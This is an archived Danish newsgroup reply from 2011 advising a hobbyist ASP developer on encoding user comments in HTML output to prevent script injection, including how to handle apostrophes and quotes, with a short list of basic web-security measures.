Date: Wed, 21 Dec 2011 16:09
Date: Wed, 21 Dec 2011 16:09
114 lines
6953 bytes
6953 bytes
On 15 Dec., 22:50, Jens <jens.r.rasmusse...@gmail.com> wrote: > On 13 Dec., 17:49, Rune Jensen <runeofdenm...@gmail.com> wrote: > > > > > On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote: > > > > Næste step - bliver så output til html-siden - og der har du jo givet > > > mig en fin function, som jeg tror jeg forstår og derfor vil bruge. > > > Funktionen svarer nogenlunde til den indbyggede HTMLEncode-funktion*), > > som du selv skriver du bruger, den skal bare bruges på outputtet i > > stedet, ja. > > > Som Stig skriver, så sørger den for, der ikke kan indtastes > > eksekverbar kode (fx. javascript) i kommentaren, som så kan udføres på > > dine brugeres computere, når deres browser læser koden (altså > > kommentaren). Funktionen sørger iøvrigt også for, du ikke får vrøvl > > med HTML-validatoren pga. ugyldige tegn... > > > Problemet med den indbyggede HTML-encoding funktion er bla., at den > > ikke kan encode, hvis man bruger UTF-8 til sin HTML. Og det gør flere > > og flere jo efterhånden, som HTML5 kommer i spil. Derfor kan man > > ligesågodt lave sin egen funktion fra start, den fylder jo ikke meget. > > > Hvis nogen indtaster javascript-kode i en kommentar, som du encoder, > > bliver den ikke udført - den bliver vist med tekst. > > > *)http://www.w3schools.com/ASP/met_htmlencode.asp > > > > med taknemmelig hilsen > > > /jens- Skjul tekst i anførselstegn - > > > Takkker... har lært nok det meste af det jeg ved om ASP af Stig, som > > også har svaret her. > > > MVH > > Rune Jensen > > En sidste kommentar/spørgsmål. Din function indenholder ikke apostrof, > som jo også er et reserveret tegn i HTML. Men det skyldes måske, at IE > ikke understøtter ' ? UJddyber lige omkring dette... ' er XML-standard, ikke HTML. Man kan forestille sig, at selv hvis man bruger XHTML, så vil IE ikke forstå det, fordi IE ikke forstår XML. Men det er også årsagen til, man _ikke_ bør erstatte med ' - man skal erstatte med den decimale eller som OWASP gør med den hex'e værdi. > Men er mine ie-brugere så ikke forsat udsat > for "mærkelige" browser-oplevelser, hvis jeg inkluderer denne i > funktionen? Eller er skaden ved ikke at replace apostrop ikke så stor? Som Stig skriver, er faren for injection imellem tagsne størst for < & og > Mens man bruger erstatning for apostrof og anførselstegn, hvis man har dynamisk (brugerinputtet) kode inde i attribut værdier. Jeg er ikke sikker, men det _kan_ være, at validatoren også brokker sig over " og ' imellem tagsne og så skal den erstattes under alle omstændigheder. Man kan godt slå dem sammen, så man erstatter alt - HTML-koden bliver lidt længere, men spørgsmålet er, om det gør så meget, for så mange gange kan man vel heller ikke bruge " og ' i en kommentar. Stig og jeg lavede på et tidspunkt en lille statistik over, hvilke angrebsformer der var imod en alm. hjemmeside, og helt klart, med disse to små "beskyttelser", så fjerner man noget lign. 80% af alle angrebsmuligheder. Der er stadig andre angrebsmuligheder, men jeg vil som minimum forvente, man sikrer sig med de nemme løsninger, som ikke kræver så meget tid. På den hjemmeside vi lavede statistik på, var langt de fleste angrebsforsøg automatiske. Men der var to, som var målrettede, altså en "human user" sad i "enden" af tråden og forsøgte at hacke sig ind. De angreb blev så stoppet bl.a. med ovenstående, men det er ulig meget sværere at beskytte sig imod målrettede angreb, end de automatiserede. Så umiddelbart er det noget med at tage de grundlæggende beskyttelsmetoder først, dem som ikke kræver så meget tid, og som er bevist virker. Derefter begynder det så at koste i tid at beskytte sig, og det bliver færre angrebsmetoder, man kan beskytte sig imod med samme kode, og så er det en vurderingssag, hvor langt man skal gå. De "nemme" 1. Validere på input. F.eks. vil en tekst-boks, som forlanger et tal (f.eks. brugerens alder) kunne valideres med isNumeric. Sådan validering vil både gavne generel sikkerhed og brugervenlighed. 2. Beskyttelse af database med PQ 3. Encoding af output, og at forsøge at holde oputput til kun imellem tagsne (så vidt muligt) 4. At opgive korrekt tegnsæt Vil man mere, dvs. har man f.eks. data på siden som skal beskyttes, det kan være et forum eller lign. eller andet som gør siden lidt mere avanceret, bør man måske kigge videre på alle de muligheder, som brugeren har for at manipulere - det er mere end man tror. Tænk f.eks. på indhold af en cookie, som bruges direkte som input i serverside kode, eller brugerinput, som bruges direkte i en fil. Jeg har lavet begge de sidstnævnte... MVH Rune Jensen
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads